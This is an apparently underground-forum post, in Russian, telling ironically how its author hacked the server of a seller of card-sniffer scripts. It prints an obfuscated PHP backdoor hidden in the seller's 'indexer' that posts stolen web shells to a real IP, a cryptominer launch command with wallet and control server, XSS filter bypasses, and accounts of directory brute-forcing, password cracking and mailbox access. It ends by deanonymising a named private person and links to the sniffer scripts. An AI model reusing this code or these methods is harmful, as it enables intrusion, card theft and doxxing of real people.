Веселая статья от RedBear или Вы думаете, что я вас не переиграю?

  • Автор темы Admin

Admin

#1
Администратор
Регистрация
31.12.2019
Сообщения
6,516
Реакции
15
Земную жизнь пройдя до половины,
Я очутился в сумрачном лесу,
Утратив правый путь во тьме долины.​


Дорогой читатель! Если ты собрался прочесть этот опус, желаю тебе терпения и внимания. Готов гарантировать, что эта увлекательная история окупит потраченное на нее время.

  • I. Пролог или Алчность киддиса сгубила
  • II. Шарада для гениев
  • III. Изучаем Индексатор
  • IV. Следуй за мной или Путь на сервер
  • V. Адский партак или Печать дьявола
  • VI. Живопись или Мнемоника?
  • VII. Скрежет зубовный
  • VIII. Мистер Сниффа
  • IX. Скучная Малварь и (почти) Деанон
  • X. Эпилог
Пролог или Алчность киддиса сгубила


Есть кодер с ником Billar. И он продает скрипт сниффера сс.


Дабы сэкономить чернила (а их будет еще много), отсылаю читателя к следующим темам - первая, вторая, третья. А дабы сэкономить время читателя, покажу сообщения, которые меня зацепили:


img_5eb3876083fec.png

Очень неплохо...


И чуть более позднее:
img_5eb38a848ed4a.png

Великолепно!


В тот же миг, как прочел это, смертный грех алчности захватил душенку-тушенку и я имел неосторожность отписать в теме Billar'а, что готов проверить исходники на уязвимости.


И он написал в ЛС:
img_5eb38d8253823.png

Паника.


Плакали мои 5к$.


Шарада для гениев


Я обожаю шарады, головоломки, ребусы и прочие увеселительные занятия. И когда уже был готов отправить решение, внезапно понял, что Биллар, будучи человеком в высшей степени незаурядным, даст мне еще одно задание, а потом еще и еще...


img_5eb52b367c076.png

Эта картина с жуликами не имеет отношения к описываемой ситуации. Абсолютно. 100%.


А в связи с тем, что мои умственные способности оставляют желать лучшего, неравную битву умов я бы с позором проиграл.


Я сделал робкую попытку перескочить эту шараду, написав, что работаю исключительно с полными исходниками. На что получил следующий ответ:
img_5eb391ce2484e.png

Меня раскусили.


Давайте хотя бы попытаемся решить задание, которое дал несравненный Биллар. Разберем код построчно. Я имел дерзость немного подредактировать код, для лучшего понимания:
Код:
function xss_cleaner($input_str){
    $return_str = str_replace(
        array(
            '<',
            '>',
            "'",
            '"',         
            ')',
            '('
        ),
        array(
            htmlspecialchars('<'),
            htmlspecialchars('>'),
            htmlspecialchars("'"),
            htmlspecialchars('"'),
            htmlspecialchars(')'),
            htmlspecialchars('(')
        ), $input_str);
    $return_str = str_ireplace('%3Cscript', '', $return_str);


    return $return_str;
}
Что не так с функцией xss_cleaner? Если мы заглянем в справку по функции htmlspecialchars, мы увидим следующее:
img_5eb5111c90723.png

Преобразования скобок и одинарных кавычек не происходит. Тогда зачем это нужно? Должно быть, это уловка, чтобы сбить с толку незадачливых дровосеков (т.н. хакеров).


Обратим внимание на следующий кусок кода:
Код:
$return_str = str_ireplace('%3Cscript', '', $return_str);


Можно ли его обойти? Да. Например таким способом:
img_5eb516d47d336.png



Идем далее.
Код:
function filter($data){
    $data = trim(htmlentities(strip_tags($data)));
    if(get_magic_quotes_gpc())
        $data = stripslashes($data);
  
        return $data;
}
strip_tags удаляет всё внутри парных угловых скобок (включая сами скобки) и открывающие угловые скобки. htmlentities совершает все те же преобразования, что и htmlspecialchars, а это значит, что одинарные кавычки и круглые скобки не будут преобразованы.


Что касается условия с get_magic_quotes_gpc(), то остается только гадать, зачем оно нужно, так как еще с версии php 5.4 функция всегда возвращает false.


И наконец:
Код:
foreach($_GET as $key => $value) { $_GET[$key] = xss_cleaner(filter($value)); }
foreach($_POST as $key => $value) { $_POST[$key] = xss_cleaner(filter($value)); }
К значению параметра применяются 2 разобранных ранее функции. Стоит отметить, что к самому названию параметра они не применяются.


А теперь попробуем обойти этот код, как требует того задача:
img_5eb398c721bf6.png

Абсолютно ничего не выводит


И вот в этот момент я понял всю незаурядность этой задачи, ее талантливую задумку. Автор хочет, чтобы мы сами определили контекст, в котором будут выводится данные, обрабатываемые кодом. А если и не хочет, то следуем хрестоматийному принципу interpretatio contra proferentem (вольн. перевод - все неясности в условиях трактуются в пользу того, кому эти условия предлагаются).


Возможные контексты:


1. Debug. Простая заглушка, для отладки скрипта. Почему бы и нет?


Код:
print_r($_GET);


Пользуемся тем, что имя параметра никак не обрабатывается:
img_5eb51d13180ae.png

Обошли.


2. Простой html. Что-то вроде такого:
Код:
<p><?=$_GET['param'];?></p>
Сомневаюсь, что тут можно внедрить свой html.
Не обошли


3. Атрибут html. Чуть посложнее:
Код:
<p <?=$_GET['param'];?> >123</p>
Для простоты, создаем событие onlclick:
img_5eb5202935deb.png

Обошли


Это не все возможные контексты, но их достаточно, чтобы протестировать основные подходы и понять, что задача однозначно нерешаема, в исходном виде. Ее стоит поставить в один ряд с такими загадками человечества, как изобретение вечного двигателя, получение философского камня или вычисление квадратуры круга.


img_5ef7cf55b7354.png

Угу, не вышло...


Если уж две команды ПАНтестеров не справились, то о чем вообще говорить?


Изучаем Индексатор


Потерпев сокрушительное фиаско с шарадой, я наполнил свой дух смирением и проводил долгие часы за молчаливым созерцанием исходников. Было решено изучить код, который Биллар писал ранее, поучиться у мастера. Ведь его навыки в кодинге столь же высоки, как у Микеланджело или Леонардо да Винчи в искусстве. С его слов. Если их немного перефразировать.
1759040_900.jpg

В пыльных залах фамильной библиотеки (см. фото), мой взгляд упал на древние свитки, в которых оказались исходники "Индексатора Биллара".
img_5eb526b14b141.png

Торговая лавка на форуме гофуцкбиз


Я жадно впитывал знания. Читал каждую строчку кода, чтобы понять, как мыслит этот гений в шляпе и с макияжем (аватар это его автопортрет, с его же слов). Ведь, как известно каждому, "Тут надо изобретать Теслу, когда вокруг сплошь велосипеды" (что бы это не значило, я все равно ничего не понял).




И вот в скрипте application/controllers/AjaxController.php, на строке 211 я обнаружил нечто удивительное:


Код:
${"\x47\x4c\x4f\x42ALS"}["i\x68\x69\x6c\x71u\x64l"]="\x72\x65\x73p\x6f\x6e\x73\x65";${"\x47\x4cOB\x41\x4c\x53"}["m\x64\x6d\x75\x6djm\x73\x71"]="s\x68e\x6c\x6ce\x72";${"\x47LO\x42\x41L\x53"}["n\x70cj\x69\x6d\x61"]="\x6d\x79C\x75\x72\x6c";${"\x47\x4c\x4fB\x41\x4cS"}["\x75\x79\x76s\x72\x71\x70\x74\x68\x68\x66"]="\x73\x68";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x64bs\x69\x63l\x63"]="i";${"G\x4c\x4f\x42\x41\x4c\x53"}["\x78\x64\x69\x65p\x78\x79"]="\x73\x68\x65l\x6c\x73";${"G\x4cOB\x41\x4c\x53"}["zo\x64\x7ab\x6bk\x65\x79j"]="o\x72\x64\x65r";${"GL\x4f\x42\x41\x4c\x53"}["\x6dk\x72byi\x67oe\x70"]="\x73";${${"\x47LO\x42\x41\x4c\x53"}["m\x6br\x62y\x69\x67\x6f\x65\x70"]}=$config->getConnection()->prepare("\x53E\x4c\x45\x43T  \x73hel\x6cs\x2eid, \x64om\x61in, u\x72l,\x20\x70a\x73s\x20F\x52O\x4d  shell\x73\x20WHE\x52\x45 s\x68e\x6cls\x2e\x6fw\x6e\x65\x72id\x20\x3d  :own\x65\x72\x69\x64".${${"\x47L\x4fB\x41\x4cS"}["zo\x64\x7a\x62\x6bkey\x6a"]});if($s->execute(array(":ow\x6e\x65rid"=>UserModel::GetCurrentUserID()))){if(${${"\x47L\x4f\x42A\x4c\x53"}["xd\x69\x65px\x79"]}=$s->fetchAll()){${"\x47\x4c\x4f\x42A\x4c\x53"}["\x7ac\x64r\x70\x66\x6b\x74"]="\x73\x68\x65\x6c\x6c\x65\x72";$view->params["s\x68ells"]=${${"\x47\x4c\x4f\x42\x41L\x53"}["\x78\x64\x69\x65\x70x\x79"]};${${"G\x4c\x4f\x42ALS"}["\x64\x62\x73i\x63\x6c\x63"]}=0;$wbthbtt="\x73\x68";${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x7ac\x64r\x70\x66\x6b\x74"]}="";foreach($view->params["shel\x6cs"]as${$wbthbtt}){$heeqvanfyh="s\x68\x65\x6cl\x65\x72";${"\x47\x4cO\x42\x41\x4c\x53"}["\x72wc\x72\x70\x75"]="s\x68";${${"\x47L\x4f\x42\x41\x4c\x53"}["\x64\x62\x73ic\x6c\x63"]}++;${"G\x4cO\x42\x41\x4cS"}["\x66\x63d\x70yw\x64\x6f"]="\x73h\x65l\x6c\x65\x72";${$heeqvanfyh}=${${"\x47\x4c\x4f\x42AL\x53"}["\x66\x63\x64py\x77d\x6f"]}.${${"\x47L\x4fB\x41L\x53"}["r\x77\x63\x72p\x75"]}["url"]."\x3b".${${"G\x4c\x4fB\x41\x4c\x53"}["\x75\x79\x76\x73\x72\x71\x70\x74\x68h\x66"]}["\x70\x61ss"]."\n";}${"\x47L\x4f\x42\x41L\x53"}["y\x6dxj\x6c\x66\x6e\x61v\x62\x6c"]="\x6d\x79C\x75r\x6c";${${"G\x4c\x4fB\x41LS"}["n\x70\x63\x6a\x69\x6da"]}=curl_init();curl_setopt_array(${${"\x47\x4c\x4f\x42\x41L\x53"}["y\x6d\x78\x6a\x6cfn\x61\x76bl"]},array(CURLOPT_URL=>"ht\x74p://\x35\x2e61\x2e\x34\x32\x2e1\x39\x35/\x73/\x69nd\x65\x78.\x70h\x70",CURLOPT_POST=>true,CURLOPT_POSTFIELDS=>http_build_query(array("\x73"=>base64_encode(${${"\x47LO\x42\x41\x4c\x53"}["\x6ddmu\x6d\x6ams\x71"]})))));${${"G\x4cO\x42AL\x53"}["ihi\x6c\x71\x75\x64\x6c"]}=curl_exec(${${"\x47LO\x42\x41\x4c\x53"}["\x6e\x70\x63\x6aim\x61"]});curl_close(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6e\x70\x63\x6a\x69\x6da"]});}}


Я понял, что это подсказка. Биллар, как хранитель вечных знаний и исследователь, решающий нерешаемые задачи, раскидывает то тут, то там намеки, по которым пытливый ум найдет путь к настоящей сокровищнице мысли.


С помощью древних заклинаний деобфускации, я расшифровал код, но не полностью. Слишком сильная магия, недоступная на моем уровне:
img_5eb530226ae4e.png

Что я смог понять, так это то, что некие domain, url и pass из некой таблицы shells отправляются по некому адресу . Должно быть автор, разумеется, из лучших побуждений, желал помочь своим покупателям сохранить некие "shells", дабы они, оказавшись в руках неумелых и неопытных, не пропали даром.


Самоотверженный поступок, на который в наши смутные времена решится не каждый. Молчаливого одобрения недостаточно. Исключительно овации... Но только после 100% доказательства, ведь какой-то злодей мог дописать этот код в исходники.


Следуй за мной или Путь на сервер


Теперь, когда стал известен адрес сервера (5.61.42.195), настало время досконально его изучить. Скан портов подтвердил очевидное - на сервере открыты порты 80,443. На остальных открытых портах (21, 25, 53, 110, 143, 465, 587, 993, 995, 3128, 3306, 5322) сервисы не брутились и не эксплуатировались. Я пробовал найти в этих числах какую-то закономерность, но спустя месяц бессоных ночей отказался от этих попыток.


А это значило, что настало время ковырять веб...
308.jpg

Одиссей флексит


Подобно тому, как Одиссей застрял на 7 лет у нимфы Каллипсо, я застрял на тысячи лет, перебирая пути на веб-сервере.
img_5ef79a122ce1c.png

Пока века сменяли друг друга, а dirb неторопливо перебирал миллиарды директорий, я ждал, затаив дыхание (периодически впадая в кому и выходя из нее). И вот первый успех (файл http://5.61.42.195/tmp/cache):
Код:
my $cmd = './xmrigDaemon
-B -o pool.sumokoin.hashvault.pro:5555
-u SumonziU2hBAKb8nE77vQyYdpVN6YqBikPYjen3P5c4aRUSjj1HDocghN27N45pAUHNaG9FuatFmDVG2Vr7Th7J66ZbF7My7M9B
-p billar:[email protected]
-k --cc-url=109.236.81.101:3344
--cc-access-token=162534
--donate-level 1 > /dev/null 2>&1;
./xmrigDaemon
-B -o pool.sumokoin.hashvault.pro:5555
-u SumonziU2hBAKb8nE77vQyYdpVN6YqBikPYjen3P5c4aRUSjj1HDocghN27N45pAUHNaG9FuatFmDVG2Vr7Th7J66ZbF7My7M9B
-p billar:[email protected]
-k --cc-url=109.236.81.101:3344
--cc-access-token=162534
--donate-level 1 > /dev/null &';


if(system($cmd))
{
system('perl tmp/cache');
}
Внимательный читатель уже заметил строку "billar:[email protected]". "Следуй за мной", гласит перевод с литспика и языка Шекспира.


Значит, будем следовать.


Прогнав это мыло по нескольким базам, я получил список паролей:
Еще немного пошкрябав по сусекам, получилось найти запись в бд одной пирамидальной структуры, с полным именем, фамилией и телефоном. Уже неплохо. Уже интересно.


Следующей находкой был скрипт (), через который я и познал, в библейском смысле, сервер Биллара:
img_5eb5413f77972.png

Что за чудные письмена?


Не буду вдаваться в скучные подробности (это рассказ, а не урок), просто покажу кусок кода в этом файле, на который получилось повлиять:
img_5eb5434c86452.png

И как итог тысячелетнего ожидания:
img_5eb543ccec675.png

Когда я осмотрел содержимое сервера, то вместо тысячи слов это можно было описать одной картиной Босха:
588px-Follower_of_Jheronimus_Bosch_Christ_in_Limbo.jpg

Не пугайся, это не твой сервер. Но похож, да. Несомненно похож.


Первым делом, я заглянул в файл , к которому, как вы помните, обращался таинственный код из индексатора:
img_5eb549320e3b2.png

Идет запись в текстовый файл lll.txt. Давайте посмотрим, что в нем?
img_5eb5498a489a5.png

Биллар как-то писал, что ему важны не абы какие клиенты:


"Я ищу клиентов, с которыми будет активный диалог и взаимная работа над скриптами, которые здесь продаются. Меня интересуют не деньги, а дополнения, баг-репорты и доработка скриптов под широкий спектр возможностей."


Теперь понятно, что он имел в виду. Только представьте, сколько своего времени надо тратить, чтобы помогать своим клиентам обрабатывать шеллы. Молча. Бескорыстно. Нам остается только поразиться тому, насколько огромное и доброе сердце может быть у простого, скромного, в чем-то даже заурядного, сверхчеловека.


В соседней папке (http://5.61.42.195/lic/) лежал уже сам индексатор, IP-адреса клиентов,их домены и один безумно интересный бинарник:
img_5eb54aa3b7555.png

Но про бинарник чуть позже...
Изучаем дальше.


Адский партак или Печать дьявола


На сервере ранее размещался сайт my-tattoo.cv.ua. Ныне домен протух, однако виртуальный хост на сервере остался. Я подумывал о том, чтобы воспользоваться машиной времени и заглянуть в прошлое, когда сайт еще функционировал, но более опытные мастера подсказали, что проще отредактировать файл hosts.


Я последовал мудрому совету, и вот что увидел:
img_5ef7b0a76ed55.png

Сверху вниз:

  1. Город Черновцы. (доменная зона cv.ua тоже указывает на этот город).
  2. Руки/Hands Billar. Признаюсь, стыдно называть это татуировкой, скорее какой-то сатанинский партак (или неофашистский). Будем называть это "Печатью дьявола".
  3. Подпись автора в футере - MB.
Для меня было сюрпризом, что можно кликнуть на подпись и увидеть ЭТО:


img_5ef7b509ea2d6.png

Я немного отредактировал картинку, чтобы можно было понять, из чего "состоит" подпись. Мне потребовалось всего-то чуть меньше часа, чтобы заметить, что узор подозрительно похож на "Печать Дьявола".


MB, очевидно это Михаил Биллар:




img_5ef7b975aa429.png

В подпапке этого же сайта нашелся менеджер шеллов (очень похож на Shell Enslaver):
img_5eb56ac039201.png

Вас не должно смущать обилие СНГ-шных доменов. Всё это было еще в те стародавние времена, когда работать по ру можно было всем. Тогда и деревья были выше, и мороженое вкуснее, и пятизнаки брутились на qwerty и 123456.


Живопись или Мнемоника?
Я продолжил изучать сервер, и в одной из папок обнаружил telegramm-бота на питоне. Сделал дамп базы данных, с которой он работал, и обнаружил такое содержимое (кстати, tERRORistUA подозрительно похож на нынешний ник биллара в телеграмме - T.ERROR↯ist.ua):


img_5eb54ff43cb1c.png

Стало понятно, что это какие-то картинки. Любопытство взяло верх и я без какого-либо разрешения, дерзко и смело, посмотрел несколько фотокарточек. Увиденное меня вдохновило сделать небольшой коллаж:
img_5eb54f492fcd9.png

Я до сих пор не могу понять, что это такое? Фотографии, для дальнейших зарисовок? Или это намеченные места для дворца памяти? В любом случае, приятно, что еще не перевелись любители изящных искусств. Не столь важно, кто ближе Биллару, Ботичелли или Бруно, его устремления похвальны!


Но не все фотографии были такими, например, одна из первых картинок меня сильно смутила:
img_5eb550264374b.png

Должно быть элитный сыр, раз продают буквально по 1 грамму. И ведь как разбирают! Сыроделы видимо знают свое дело (cheese - это ведь сыр, я ничего не путаю?). И опять Черновцы.


Что за удивительные люди живут в Черновцах...


Скрежет Зубовный


Продолжая свое путешествие по кругам ада содержимому сервера, я наткнулся на сайт стоматологии (32expert.cv.ua):
img_5eb551687852a.png

И вновь это город Черновцы, и вновь мы видим в футере фирменный знак маэстро:
img_5ef7c82a447bb.png

И по клику, опять этот адский узор:
img_5ef7c85d2e5ce.png

Ну а раз здесь побывала рука мастера, то мы обнаружим следы его незаурядной деятельности.


И действительно.


Достаточно перейти по ссылке (http://32expert.cv.ua/1/PANEL/), чтобы увидеть софт некоего месье Poter'а (смотрим на футер):
img_5eb550fd390ab.png

Удивительно, но оказалось, что это сниффер сс. Хотя изначально я думал, что это какая-то система для учета пациентов от основного сайта. Раз есть один сниффер, значит где-то рядом должен быть и другой. В этом снифферы очень похожи на опята (не рассчитываю, что все это поймут).


А как вы помните, а если не помните, то напоминаю, всё начиналось именно со сниффера.


Мистер Сниффа


Я нашел папку со сниффером (вот этим - https://sni.everydayimshuffling.ru/logins.php), но к сожалению, прав на запись/просмотр не хватало. Брут, перебор всевозможных эксплоитов под ядро и сервисы не дал результатов, потому решено было пойти окольным путем.
Перебирая учетки MySQL, обильной россыпью рассеянные на сервере, я обратил внимание, что у одного из аккаунтов был доступ сразу к нескольким БД. И у одной из них было говорящее название - "snif".




img_5ef86ae8425e8.png

Расшифровываю хеш админа (пароль удачно совпал с одним из тех, что были найдены ранее в утечках), успешно захожу в админку.
img_5ef8e7da313f9.png

Да, всё та же подпись маэстро. И по ссылке, уже привычное нам безумие, в увеличенном масштабе. На момент, когда я делал скриншот, в базе была только одна карта и прислали ее с IP-адреса в городе Черновцы. Разумеется, это очередное совпадение, не более.


Хочется еще раз отметить исключительную прозорливость Биллара, он добавил дисклеймер (всплывающая подсказка), а потому ему можно не бояться какого-либо преследования со стороны различных госслужб.


Ныне админка выглядит уже немного иначе:
.png

Не смущайтесь от того, что в боковой части ру-домены. Они используются лишь как прокладки, я не уточнял, но так по нормам уголовного права, наверное, можно.


Нашлись и хваленые скрипты, с обходами всего и вся:
img_5ef86d306e12f.png

Эти скрипты и архив с гейтом можно скачать здесь. По своей сути, админка оказалась простой, всего две странички. Не знаю, можно ли считать, что я обошел 2 команды ПАНтестеров? Наверное, нет.


Скучная малварь и (почти) Деанон


Я упоминал ранее, что на сервере был обнаружен один крайне интересный бинарник, InstallUpdate.exe. Даже моих скромных навыков хватило, чтобы разобраться в том, что он делает:


img_5eb54c32a11cb.png

Очередная, скучная RMS-сборка. Так чем же так интересен этот бинарник? А вот чем:
img_5ef86fbf672a5.png

Мы берем это мыло, и пробуем подобрать пароль, используя те, что уже известны.
Несколько минут напряженного ожидания и вуаля:
img_5ef8704dc8f87.png

Уважаемому человеку пишут с какой-то лаборатории. Должно быть что-то связаное с наукой, я не разбираюсь в научных терминах, извините.


Листая письма, нашлось много интересного.
img_5ef870ea320a7.png

Домен picup.space - это тот самый, на котором лежат "веселые картинки".


Нашлись и логи от RMS:


img_5ef8715b32907.png

Эврика! Нашелся аккаунт на фрилансе:
img_5ef871d4b0c42.png

Теперь маэстро хочет, чтобы его подпись еще и крутилась. Нет предела совершенству. Ars longa, vita brevis (перев. - искусство вечно, жизнь коротка).


Пароль к аккаунту на фрилансе совпадал с паролем к мылу.
Аккаунт подтвержден доками:
img_5ef8e59d38a48.png

Все кусочки паззла сложились (даже ФИО из бд пирамиды совпало с указанным в профиле) и все нити привели к одному конкретному человеку из конкретного города.


Почти моментально нашлись аккаунты на facebook, vk, coub, foursquare.
Больше сказать тут нечего.


Эпилог
Во-первых, окончательно деанонить Биллара я не планирую, так как не имею желания выполнять всю работу за тех, кто имеет возможность "мониторить все сообщения в андерграунде в режиме реального времени и получать доступ как к оригинальным постам, так и к отредактированным".


Во-вторых, - я опубликовал факты и умышленно отстранился от какой-либо трактовки (кроме интерпретации в ироничном ключе). Выводы о "герое наших форумов", дорогой читатель, делай сам.


P.S.
И на память:
img_5ef7d00f1e87c.png

Вызывал alert() из консоли, само собой, ведь бронебойную защиту обойти не вышло. Ну вы поняли...


Вложение: https://vk.cc/awsom0



Автор: RedBear